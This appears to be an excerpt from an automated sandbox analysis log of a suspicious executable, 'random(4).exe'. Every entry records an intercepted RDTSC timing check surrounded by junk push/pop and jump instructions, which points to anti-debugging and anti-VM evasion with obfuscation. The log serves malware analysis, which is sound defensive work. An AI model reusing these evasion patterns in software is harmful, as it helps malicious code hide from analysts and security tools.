Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90609A second address: 9060A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90E47C second address: 90E482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90E482 second address: 90E486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90E486 second address: 90E4A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB21h 0x00000007 jc 00007F0264BBFB16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90E4A4 second address: 90E4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F0264E84AC6h 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90E645 second address: 90E67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F0264BBFB2Eh 0x0000000b jmp 00007F0264BBFB28h 0x00000010 popad 0x00000011 push esi 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F0264BBFB1Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 911BC1 second address: 911BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACDh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 916F7E second address: 916F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 916F82 second address: 916F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 916F88 second address: 916F93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0264BBFB16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 917261 second address: 917266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 917266 second address: 91726D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9173B4 second address: 917400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F0264E84ACBh 0x00000014 popad 0x00000015 jg 00007F0264E84AFDh 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push edi 0x0000001f pop edi 0x00000020 jmp 00007F0264E84AD7h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0264E84ACCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 917400 second address: 917404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 917505 second address: 917509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 917509 second address: 917542 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F0264BBFB22h 0x0000000e pushad 0x0000000f jmp 00007F0264BBFB22h 0x00000014 jbe 00007F0264BBFB16h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CAF68 second address: 8CAFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 call 00007F0264E84AD3h 0x0000000b jnc 00007F0264E84AD3h 0x00000011 pop edi 0x00000012 push 0000001Eh 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0264E84AC8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D3AE2h], eax 0x00000034 nop 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 918424 second address: 91842B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 91842B second address: 918441 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F0264E84AC6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jl 00007F0264E84AC6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 918441 second address: 918445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 91C9EB second address: 91C9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0264E84AC6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 91C9F9 second address: 91CA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F0264BBFB16h 0x00000014 jns 00007F0264BBFB16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 92083A second address: 920840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920840 second address: 920844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920844 second address: 920857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920112 second address: 920116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920116 second address: 920149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84AD4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0264E84AD7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920149 second address: 92014D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 920508 second address: 920511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9261ED second address: 9261F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9261F1 second address: 926206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926206 second address: 926231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0264BBFB1Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007F0264BBFB16h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926231 second address: 926244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926244 second address: 92624A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9263A6 second address: 9263AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9263AE second address: 9263B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926515 second address: 926519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926A5F second address: 926A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926A63 second address: 926A80 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0264E84AC8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F0264E84ACCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926A80 second address: 926A85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926A85 second address: 926A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926D1F second address: 926D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0264BBFB16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926D2E second address: 926D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926D34 second address: 926D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 926D38 second address: 926D44 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 927297 second address: 9272BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jng 00007F0264BBFB18h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0264BBFB23h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9272BC second address: 9272C8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0264E84ACEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9272C8 second address: 9272D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F0264BBFB16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9272D4 second address: 9272D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 92D921 second address: 92D925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 92D925 second address: 92D942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F0264E84AD1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 92D942 second address: 92D948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 88B754 second address: 88B764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACBh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 88B764 second address: 88B76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930B5B second address: 930B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push esi 0x00000007 push ecx 0x00000008 jbe 00007F0264E84AC6h 0x0000000e pop ecx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930E2C second address: 930E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0264BBFB20h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jns 00007F0264BBFB16h 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jns 00007F0264BBFB1Ch 0x00000020 pushad 0x00000021 jbe 00007F0264BBFB16h 0x00000027 js 00007F0264BBFB16h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930E6C second address: 930E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930E77 second address: 930E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930FE8 second address: 930FEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 930FEC second address: 930FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9312C2 second address: 9312D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9312D0 second address: 9312D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 931442 second address: 931446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 931446 second address: 931465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0264BBFB27h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 931465 second address: 931469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 931469 second address: 93147E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 js 00007F0264BBFB16h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93A959 second address: 93A976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F0264E84ACBh 0x0000000c pop eax 0x0000000d jc 00007F0264E84AE2h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93A976 second address: 93A980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0264BBFB16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93A980 second address: 93A989 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93AF76 second address: 93AF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0264BBFB16h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93B247 second address: 93B253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0264E84AC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93B253 second address: 93B257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93B257 second address: 93B25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93B3B4 second address: 93B3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 jmp 00007F0264BBFB29h 0x0000000c jng 00007F0264BBFB16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93B814 second address: 93B81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93C6BA second address: 93C6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264BBFB1Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F0264BBFB22h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93C6E2 second address: 93C6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93C6E8 second address: 93C6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93C6EC second address: 93C700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F0264E84AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F0264E84ACEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93A508 second address: 93A511 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 93A511 second address: 93A517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9439DF second address: 9439EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F0264BBFB16h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9439EF second address: 9439F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 95267A second address: 95268F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 95268F second address: 952693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 954A01 second address: 954A20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F0264BBFB1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jns 00007F0264BBFB16h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 954A20 second address: 954A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 960C02 second address: 960C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 960C06 second address: 960C1F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0264E84AC6h 0x00000008 jmp 00007F0264E84ACFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 964A8F second address: 964A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 964918 second address: 96491C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 96491C second address: 964926 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 970943 second address: 97094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 972C33 second address: 972C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 972C37 second address: 972C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 972C3D second address: 972C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F0264BBFB1Ah 0x0000000d jmp 00007F0264BBFB21h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007F0264BBFB16h 0x0000001a rdtsc
